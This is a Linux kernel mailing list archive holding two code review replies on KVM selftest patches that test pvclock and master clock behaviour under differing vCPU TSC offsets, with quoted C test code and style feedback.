         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=8/b1huLAEdiKYHbWYUwfN/XZnmcBk/ZLpbBd8pgF/SE=;
        b=NpD8+iDOGi1MK7VtA0GH5mBNiK1mExb8G4ayypGGGPB2PJ68EfnxhUvNTEnwroerqo
         VvIlOzxszOWmnmY/Xg/7/1mhHz9WH22iGvSxEVoXc2QvtsH2smcWi8zMTKwk5M+aan0y
         ocC9LLRQi+E/5G3qgCtImQicG/pdeq5/uvsmxlonz/mdKYNDIz+EBsxax9mJlC9dgdDs
         /a+RzmA66H1ETxYt27ApLDaRvKWuNxJzUaPtFrFlq919PwpWxrkEwCU3tQFnVRN7/kw8
         xObmeWxMkQwgckU968FbyXN+ViuqgUFs3eK6Y0G4wzhRR00T+vSEr95GXqTyzOjbM2/w
         Yfdw==
X-Forwarded-Encrypted: i=1; AHgh+Rq/lkA9GhEhhL/Qzw4lsnIQa7sHiDFyCRShCSKM6TgCATvWexIdU0HTXzlARNmWwIE6pMt9jiXQ+B8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzOL0CYIbGThzgJJ6c29zhqMh4EQNEdODFCMPbPiwTRPd09+y6x
	IEW8SeRzzx29kE4VAEZ5eLvIrPXldBueu+qDcnWJ5gMRMj5MAOfTw2j2bDV9PHGHJMIAtBK6EE+
	V6TIlug==
X-Received: from pgbs63.prod.google.com ([2002:a63:5e42:0:b0:cbb:5dd3:9904])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:9e0e:b0:3c0:9c18:d5a7
 with SMTP id adf61e73a8af0-3c92a8d8717mr1547928637.68.1785540778920; Fri, 31
 Jul 2026 16:32:58 -0700 (PDT)
Date: Fri, 31 Jul 2026 16:32:58 -0700
In-Reply-To: <20260728144954.355376-34-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260728144954.355376-1-dwmw2@infradead.org> <20260728144954.355376-34-dwmw2@infradead.org>
Message-ID: <am0wquLHtd28syfx@google.com>
Subject: Re: [PATCH v7 33/36] KVM: selftests: Add KVM/PV clock selftest to
 prove timer correction
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-16d1c6/1785540781-1EAC277B-A91F97E5/0/0
X-purgate-type: clean
X-purgate-size: 7161

> +int main(int argc, char *argv[])
> +{
> +	static const struct option long_opts[] =3D {
> +		{ "sleep", required_argument, NULL, 's' },
> +		{ "help",  no_argument,       NULL, 'h' },
> +		{ NULL,    0,                  NULL,  0  },
> +	};
> +	unsigned int sleep_sec =3D 2;
> +	struct kvm_vcpu *vcpu;
> +	struct kvm_vm *vm;
> +	uint64_t host_khz;
> +	uint64_t freq;
> +	int opt;
> +
> +	while ((opt =3D getopt_long(argc, argv, "s:h", long_opts, NULL)) !=3D -=
1) {
> +		switch (opt) {
> +		case 's':
> +			sleep_sec =3D atoi(optarg);
> +			break;
> +		case 'h':
> +		default:
> +			usage(argv[0]);
> +			return opt =3D=3D 'h' ? 0 : 1;
> +		}
> +	}
> +
> +	TEST_REQUIRE(sys_clocksource_is_based_on_tsc());
> +	TEST_REQUIRE(kvm_has_cap(KVM_CAP_TSC_CONTROL));
> +
> +	vm =3D vm_create_with_one_vcpu(&vcpu, guest_code);
> +	configure_pvclock(vm);
> +
> +	/* Check KVM_GET_CLOCK_GUEST is supported */
> +	{
> +		struct pvclock_vcpu_time_info tmp;
> +		int ret =3D __vcpu_ioctl(vcpu, KVM_GET_CLOCK_GUEST, &tmp);
> +		TEST_REQUIRE(ret =3D=3D 0);

It will likely be a moot point since we should have a CAP, but don't do TES=
T_REQUIRE()
on a local variable like this, it completely defeates the purpose of the ma=
cro
shenanigans.  Becuase this:

  1..0 # SKIP - Requirement not met: ret =3D=3D 0

is useless information, whereas this:

  1..0 # SKIP - Requirement not met: !__vcpu_ioctl(vcpu, KVM_GET_CLOCK_GUES=
T, &tmp)

gives the user a starting point without having to go search through the tes=
t code.

> +	}

...

> +static volatile uint32_t vcpu_counter;
> +static void guest_code_stable_bit(void)
> +{
> +	uint32_t idx =3D __atomic_fetch_add(&vcpu_counter, 1, __ATOMIC_SEQ_CST)=
;
> +	uint64_t gpa =3D KVMCLOCK_GPA + idx * sizeof(struct pvclock_vcpu_time_i=
nfo);

This series needs to be updated to catch up to upstream.  Selftests now use
u32, u64, etc.  And at least one patch missed an obvious opportunity for gu=
ard().=20

> +	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, gpa | KVM_MSR_ENABLED);
> +	GUEST_SYNC(0);
> +	GUEST_SYNC(0);
> +	GUEST_SYNC(0);
> +}
> +
> +static void set_tsc_offset(struct kvm_vcpu *vcpu, uint64_t offset)
> +{
> +	struct kvm_device_attr attr =3D {
> +		.group =3D KVM_VCPU_TSC_CTRL,
> +		.attr =3D KVM_VCPU_TSC_OFFSET,
> +		.addr =3D (__u64)(uintptr_t)&offset,
> +	};
> +
> +	TEST_REQUIRE(__vcpu_has_device_attr(vcpu, KVM_VCPU_TSC_CTRL,
> +					    KVM_VCPU_TSC_OFFSET) =3D=3D 0);
> +	vcpu_ioctl(vcpu, KVM_SET_DEVICE_ATTR, &attr);

This quite clearly belongs in library code.

> +}
> +
> +static void run_vcpu_once(struct kvm_vcpu *vcpu)
> +{
> +	struct ucall uc;
> +
> +	vcpu_run(vcpu);
> +	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
> +	switch (get_ucall(vcpu, &uc)) {
> +	case UCALL_ABORT:
> +		REPORT_GUEST_ASSERT(uc);

Gah, we really need to have vcpu_run() handle guest asserts.

> +		break;
> +	case UCALL_SYNC:
> +		break;
> +	default:
> +		TEST_FAIL("Unexpected ucall");
> +	}
> +}
> +
> +static void test_tsc_stable_bit(void)
> +{
> +	struct pvclock_vcpu_time_info pvti;
> +	struct kvm_vcpu *vcpus[2];
> +	struct kvm_vm *vm;
> +	int ret;
> +
> +	pr_info("Testing PVCLOCK_TSC_STABLE_BIT with matched/unmatched TSCs\n")=
;
> +
> +	vm =3D vm_create_with_vcpus(2, guest_code_stable_bit, vcpus);
> +	configure_pvclock(vm);
> +
> +	/*
> +	 * Case 1: All TSCs matched (same frequency and offset).
> +	 * Master clock should be active, PVCLOCK_TSC_STABLE_BIT set.
> +	 */
> +	run_vcpu_once(vcpus[0]);
> +
> +	ret =3D __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti);
> +	TEST_ASSERT(!ret, "GET_CLOCK_GUEST should succeed with matched TSCs");
> +	TEST_ASSERT(pvti.flags & PVCLOCK_TSC_STABLE_BIT,
> +		    "PVCLOCK_TSC_STABLE_BIT should be set with matched TSCs");
> +
> +	/*
> +	 * Case 2: Different TSC offset, same frequency.
> +	 * Master clock should still be active (frequency matches), but
> +	 * PVCLOCK_TSC_STABLE_BIT should be cleared (offsets differ).
> +	 */
> +	set_tsc_offset(vcpus[1], 12345678);
> +	run_vcpu_once(vcpus[1]);
> +	run_vcpu_once(vcpus[0]);
> +
> +	ret =3D __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti);
> +	if (ret) {
> +		/* Master clock disabled by offset mismatch =E2=80=94 old kernel */
> +		pr_info("  Skipping offset tests (master clock requires matched offset=
s)\n");
> +		goto out_stable;
> +	}
> +	TEST_ASSERT(!(pvti.flags & PVCLOCK_TSC_STABLE_BIT),
> +		    "PVCLOCK_TSC_STABLE_BIT should be clear with offset-mismatched TSC=
s");
> +
> +	/*
> +	 * Case 3: Different TSC frequency.
> +	 * Master clock should be disabled entirely.
> +	 */
> +	vcpu_ioctl(vcpus[1], KVM_SET_TSC_KHZ,
> +		   (void *)(unsigned long)(__vcpu_ioctl(vcpus[1], KVM_GET_TSC_KHZ, NUL=
L) / 2));
> +	/* Write TSC to trigger kvm_synchronize_tsc / kvm_track_tsc_matching */
> +	vcpu_set_msr(vcpus[1], MSR_IA32_TSC, 0);
> +	run_vcpu_once(vcpus[1]);
> +
> +	ret =3D __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti);
> +	TEST_ASSERT(ret && errno =3D=3D EINVAL,
> +		    "GET_CLOCK_GUEST should fail with frequency-mismatched TSCs, got %=
d (errno %d)",
> +		    ret, errno);
> +
> +out_stable:
> +	kvm_vm_free(vm);
> +}
> +
> +static void test_clock_guest_with_offsets(void)
> +{
> +	struct pvclock_vcpu_time_info pvti0, pvti1, pvti1_after;
> +	struct kvm_vcpu *vcpus[2];
> +	struct kvm_vm *vm;
> +	int64_t delta;
> +	int ret;
> +
> +	pr_info("Testing KVM_[GS]ET_CLOCK_GUEST with different TSC offsets\n");
> +
> +	vm =3D vm_create_with_vcpus(2, guest_code_stable_bit, vcpus);
> +	configure_pvclock(vm);
> +
> +	/* Set different TSC offsets on the two vCPUs */
> +	set_tsc_offset(vcpus[0], 0);
> +	set_tsc_offset(vcpus[1], 1000000000ull);
> +
> +	/* Run both to establish kvmclock */
> +	run_vcpu_once(vcpus[0]);
> +	run_vcpu_once(vcpus[1]);
> +
> +	/* GET_CLOCK_GUEST on both =E2=80=94 should succeed (master clock activ=
e) */
> +	ret =3D __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti0);
> +	if (ret) {
> +		pr_info("  Skipping (master clock requires matched offsets on this ker=
nel)\n");
> +		kvm_vm_free(vm);
> +		return;
> +	}
> +	ret =3D __vcpu_ioctl(vcpus[1], KVM_GET_CLOCK_GUEST, &pvti1);
> +	TEST_ASSERT(!ret, "GET_CLOCK_GUEST on vcpu1 failed");
> +
> +	/* The tsc_timestamps should differ (different offsets) */
> +	TEST_ASSERT(pvti0.tsc_timestamp !=3D pvti1.tsc_timestamp,
> +		    "tsc_timestamps should differ with different offsets");
> +
> +	/* Sleep to let time elapse, then restore vcpu0's clock */
> +	sleep(1);
> +	vcpu_ioctl(vcpus[0], KVM_SET_CLOCK_GUEST, &pvti0);
> +
> +	/* Run vcpu0 to process the clock update */
> +	run_vcpu_once(vcpus[0]);
> +
> +	/* GET_CLOCK_GUEST on vcpu1 =E2=80=94 should reflect the correction */
> +	ret =3D __vcpu_ioctl(vcpus[1], KVM_GET_CLOCK_GUEST, &pvti1_after);
> +	TEST_ASSERT(!ret, "GET_CLOCK_GUEST on vcpu1 after SET failed");

Please add proper APIs instead of copy+pasting the same code everywhere.  E=
.g.
this should really be something like

	vcpu_get_clock_guest(vcpus[1], ...);

where vcpu_ioctl() asserts success.


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 23:38:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 23:38:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379692.1624111 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpwoM-00020B-1P; Fri, 31 Jul 2026 23:38:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379692.1624111; Fri, 31 Jul 2026 23:38:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpwoL-000204-U5; Fri, 31 Jul 2026 23:38:41 +0000
Received: by outflank-mailman (input) for mailman id 1379692;
 Fri, 31 Jul 2026 23:38:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3_DFtagYKCW8fRNaWPTbbTYR.PbZkRa-QRiRYYVfgf.kRacebWRPg.beT@flex--seanjc.bounces.google.com>)
 id 1wpwoK-0001zy-93
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 23:38:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpwoJ-004a2B-0v
 for xen-devel@lists.xenproject.org; Sat, 01 Aug 2026 01:38:39 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3_DFtagYKCW8fRNaWPTbbTYR.PbZkRa-QRiRYYVfgf.kRacebWRPg.beT@flex--seanjc.bounces.google.com>)
 id 6a6d3163-e002-0a2a0a5209dd-0a2a450bb140-40
 for <xen-devel@lists.xenproject.org>; Sat, 01 Aug 2026 01:38:38 +0200
Received: from [209.85.210.197] (helo=mail-pf1-f197.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3_DFtagYKCW8fRNaWPTbbTYR.PbZkRa-QRiRYYVfgf.kRacebWRPg.beT@flex--seanjc.bounces.google.com>)
 id 6a6d31fd-b7e8-0a2a450b0019-d155d2c5b503-3
 for <xen-devel@lists.xenproject.org>; Sat, 01 Aug 2026 01:38:38 +0200
Received: by mail-pf1-f197.google.com with SMTP id
 d2e1a72fcca58-8486ffba174so2723306b3a.1
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:38:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785541117; x=1786145917; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=dmKsJOviftvACUGPABBN88S+tJ91thYPhBWQcoJdx18=;
        b=dJBoj3ZPE0CiYfljguCdQFb41rB3w22JoPZkln61893e34siy8Rq65O2Gm2W+nCJ6I
         sh6Wh5mDTbvjaOczBpMe66X/uB0t3NmH0ylwXQmXS/jjwCGuxHjYbg1CL+bhEmxhcX+z
         +2gCB6e+wG9ctIQNe/8ZrHr8hB5qjSEBovr3k76tnXUGUNU4ZoP4uYS9h6+6++6xDJIa
         UnSRlBVHT9lRaoEBJmbz7gpxXRWurd/nhCTH2DW+fR17c1sIvkcGSK7Ds8kHgT2Aqghs
         Uyg+fpoP4t5MYSM8wlVmTq5HMxnE8KtvRy+E2ubP4QAb7Y0qR6Zy9f5xM6CP2k0WRy6q
         cdGg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785541117; x=1786145917;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=dmKsJOviftvACUGPABBN88S+tJ91thYPhBWQcoJdx18=;
        b=CgQ6KhMaZq7dgQGWGyz1Pc9jzZetPaLEk8DbGeQXKHtIhmdAF9GiTzn56N4tV4L+r1
         gHR8BUVsD0uUMqT207hUi2+Ji/B4ZKuckq2Qlq7++VdnfPBm8T100nDpFsG9LRBXmhMD
         ANBejbI9y8P4nko2B3EqaISp+ApkzDMSypzTEULCm+qwWdxK6Q7O/tuopQqppC2z/1cJ
         1O7rYl7p/8Mzh/3aR7uLU+8mxQyB94+tZoBPEvvt/o/ga85fQi7eVASyiIkF9oTUHRgZ
         My38kzDAWVEUl4WCjh8AAmFPMisUZjmb7Szho+glpP64/LjhGbLtOzPwI7g6a5Hz7wjh
         Ic7g==
X-Forwarded-Encrypted: i=1; AHgh+RqAtDlbo1OqcqViZ7lTDtj2Q+HfWvVxkoLB1Q9EoyZE8q5Qs+TedyycTFRamF7qDu2iKER/Npo4+MM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyFWBv6sgeFbIXncdx8nxckin5IsA5vvX4tqqkh0eOmwC3XDEAn
	cnqaoU/CPI4vyBEHE+qa6OuEfrx/JlIV/Tus4pwjRYIfdIeV2W6fAT4dxbFqzImtQbLEfSsJB6Y
	DMOPE9g==
X-Received: from pful5.prod.google.com ([2002:a05:6a00:1405:b0:847:a85b:6c23])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:6c8f:b0:847:8b0f:2508
 with SMTP id d2e1a72fcca58-84ee47789c4mr1324782b3a.13.1785541116639; Fri, 31
 Jul 2026 16:38:36 -0700 (PDT)
Date: Fri, 31 Jul 2026 16:38:36 -0700
In-Reply-To: <20260728144954.355376-35-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260728144954.355376-1-dwmw2@infradead.org> <20260728144954.355376-35-dwmw2@infradead.org>
Message-ID: <am0x_ORC0olomizu@google.com>
Subject: Re: [PATCH v7 34/36] KVM: selftests: Add master clock offset test
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-42698a/1785541118-2C39B9EA-345BD532/0/0
X-purgate-type: clean
X-purgate-size: 5038

On Tue, Jul 28, 2026, David Woodhouse wrote:
> From: David Woodhouse <dwmw@amazon.co.uk>
>=20
> Verify that KVM master clock mode remains active when vCPUs have
> different TSC offsets but the same frequency. Creates three vCPUs,
> sets one to a different TSC value, and confirms:
>=20
>  - KVM_CLOCK_HOST_TSC is set (master clock active)
>  - KVM_CLOCK_TSC_STABLE IS set (master clock =E2=87=92 stable flag)
>  - PVCLOCK_TSC_STABLE_BIT is NOT set (offsets differ)
>=20
> Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
> Assisted-by: Kiro (claude-opus-4.6-1m)
> ---
>  tools/testing/selftests/kvm/Makefile.kvm      |   1 +
>  .../kvm/x86/masterclock_offset_test.c         | 180 ++++++++++++++++++
>  2 files changed, 181 insertions(+)
>  create mode 100644 tools/testing/selftests/kvm/x86/masterclock_offset_te=
st.c
>=20
> diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/sel=
ftests/kvm/Makefile.kvm
> index 95539deea266..f6027a35f790 100644
> --- a/tools/testing/selftests/kvm/Makefile.kvm
> +++ b/tools/testing/selftests/kvm/Makefile.kvm
> @@ -108,6 +108,7 @@ TEST_GEN_PROGS_x86 +=3D x86/pmu_event_filter_test
>  TEST_GEN_PROGS_x86 +=3D x86/private_mem_conversions_test
>  TEST_GEN_PROGS_x86 +=3D x86/private_mem_kvm_exits_test
>  TEST_GEN_PROGS_x86 +=3D x86/pvclock_test
> +TEST_GEN_PROGS_x86 +=3D x86/masterclock_offset_test

Keep these sorted alphabetically.

>  TEST_GEN_PROGS_x86 +=3D x86/pvclock_migration_test
>  TEST_GEN_PROGS_x86 +=3D x86/set_boot_cpu_id
>  TEST_GEN_PROGS_x86 +=3D x86/set_sregs_test
> diff --git a/tools/testing/selftests/kvm/x86/masterclock_offset_test.c b/=
tools/testing/selftests/kvm/x86/masterclock_offset_test.c
> new file mode 100644
> index 000000000000..88e2bd2edab5
> --- /dev/null
> +++ b/tools/testing/selftests/kvm/x86/masterclock_offset_test.c
> @@ -0,0 +1,180 @@
> +// SPDX-License-Identifier: GPL-2.0-only
> +/*
> + * Test that KVM master clock mode works with different TSC offsets
> + * as long as all vCPUs have the same TSC frequency.
> + */
> +#include <stdint.h>
> +#include <string.h>
> +
> +#include "test_util.h"
> +#include "kvm_util.h"
> +#include "processor.h"
> +
> +#include <asm/pvclock-abi.h>
> +
> +#define KVMCLOCK_GPA	0xc0000000ull
> +#define TSC_OFFSET	(1000000000ULL)
> +
> +static uint64_t pvclock_calc(struct pvclock_vcpu_time_info *pvti, uint64=
_t guest_tsc)
> +{
> +	uint64_t delta =3D guest_tsc - pvti->tsc_timestamp;
> +
> +	if (pvti->tsc_shift >=3D 0)
> +		delta <<=3D pvti->tsc_shift;
> +	else
> +		delta >>=3D -(int)pvti->tsc_shift;
> +
> +	return pvti->system_time + ((__uint128_t)delta * pvti->tsc_to_system_mu=
l >> 32);
> +}
> +
> +static void guest_code(void)
> +{
> +	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, KVMCLOCK_GPA | KVM_MSR_ENABLED);
> +	for (;;)
> +		GUEST_SYNC(0);
> +}
> +
> +int main(void)
> +{
> +	struct kvm_vcpu *vcpus[3];
> +	struct kvm_clock_data clock;
> +	struct pvclock_vcpu_time_info pvti[3];
> +	struct kvm_vm *vm;
> +	uint64_t offset0, host_tsc, clk0, clk2;
> +	int i;
> +
> +	TEST_REQUIRE(sys_clocksource_is_based_on_tsc());
> +
> +	vm =3D vm_create_with_vcpus(3, guest_code, vcpus);
> +
> +	TEST_REQUIRE(!__vcpu_has_device_attr(vcpus[0], KVM_VCPU_TSC_CTRL,
> +					     KVM_VCPU_TSC_OFFSET));
> +
> +	vm_userspace_mem_region_add(vm, VM_MEM_SRC_ANONYMOUS,
> +				    KVMCLOCK_GPA, 1,
> +				    vm_calc_num_guest_pages(VM_MODE_DEFAULT,
> +							   getpagesize()), 0);
> +	virt_map(vm, KVMCLOCK_GPA, KVMCLOCK_GPA,
> +		 vm_calc_num_guest_pages(VM_MODE_DEFAULT, getpagesize()));
> +
> +	/* Get vCPU 0's default offset and set vCPU 2's offset higher */
> +	vcpu_device_attr_get(vcpus[0], KVM_VCPU_TSC_CTRL,
> +			     KVM_VCPU_TSC_OFFSET, &offset0);
> +	uint64_t offset2 =3D offset0 + TSC_OFFSET;
> +	vcpu_device_attr_set(vcpus[2], KVM_VCPU_TSC_CTRL,
> +			     KVM_VCPU_TSC_OFFSET, &offset2);
> +
> +	/* Run each vCPU to enable kvmclock (with offset already set) */
> +	for (i =3D 0; i < 3; i++) {

ARRAY_SIZE(vcpus)

> +		vcpu_run(vcpus[i]);
> +		TEST_ASSERT_KVM_EXIT_REASON(vcpus[i], KVM_EXIT_IO);
> +	}
> +
> +	/* Check master clock is active */
> +	memset(&clock, 0, sizeof(clock));
> +	vm_ioctl(vm, KVM_GET_CLOCK, &clock);

Provide an API.

> +	pr_info("KVM_GET_CLOCK flags: 0x%x\n", clock.flags);
> +	TEST_ASSERT(clock.flags & KVM_CLOCK_HOST_TSC,
> +		    "Master clock should be active, flags=3D0x%x", clock.flags);
> +	TEST_ASSERT(clock.flags & KVM_CLOCK_TSC_STABLE,
> +		    "KVM_CLOCK_TSC_STABLE should be set, flags=3D0x%x", clock.flags);
> +
> +	/* Get per-vCPU pvclock in order 0, 2, 1 */
> +	int order[] =3D {0, 2, 1};

Please don't declare variables in the middle code.  Yes, it's now technical=
ly
possible thanks to all the guard() magic, but it's still against preferred =
kernel
style.

Though this itself is probably a really, really good indication that this n=
eeds
to be split into multiple testcases.  Maybe using TEST_F() and a custom fix=
ture?


